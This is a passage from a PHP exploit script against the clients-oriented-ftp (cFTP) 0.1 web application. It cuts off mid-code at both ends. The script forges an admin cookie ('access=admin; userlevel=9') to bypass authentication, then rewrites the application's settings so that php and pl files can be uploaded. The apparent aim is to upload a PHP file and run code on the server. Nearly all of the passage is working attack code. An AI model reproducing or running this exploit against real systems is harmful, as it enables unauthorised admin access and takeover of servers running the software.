) # Software Link: https://code.google.com/p/clients-oriented-ftp/downloads/list # Version: 0.1 # Tested on: linux // Vulnerable URL $url = 'http://[url domain]/cFTP/'; // The file to upload $filename = dirname(__FILE__).'/info.php'; $failext = array('php', 'pl'); $username = 'hackname'.rand(0, 999999); $cookies_injection = 'access=admin; userlevel=9'; // <-- the big error of this app :-) /** * Call URL */ function curl_call_url($url, $cookies_injection, $inputs = null) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true); curl_setopt($curl, CURLOPT_COOKIE, $cookies_injection); if (is_array($inputs) === true) { curl_setopt($curl, CURLOPT_POSTFIELDS, $inputs); } $response = curl_exec($curl); $headers = curl_getinfo($curl); $error_number = curl_errno($curl); $error_message = curl_error($curl); curl_close($curl); return array($response, $headers, $error_number, $error_message); } // Add vulnerable extensions (php, pl : defined in $failext) list($response, $headers, $error_number, $error_message) = curl_call_url($url.'options.php', $cookies_injection); if (preg_match_all('/]+)name="([^"]+)"([^>]+)value="([^"]+)([^>]*)>/', $response, $matches)) { $input = array(); $count = count($matches[0]); for ($i = 0; $i < $count; $i++) { $input[$matches[2][$i]] = $matches[4][$i]; if ($matches[2][$i] === 'allowed_file_types') { foreach ($failext as $ext) { if (strpos($matches[4][$i], $ext) === false) { $input[$matches[2][$i]] .= ','.$ext; } } $input[$matches[2][$i]] = str_replace(',', '|', $input[$matches[2][$i]]); } } // add select if (preg_match('/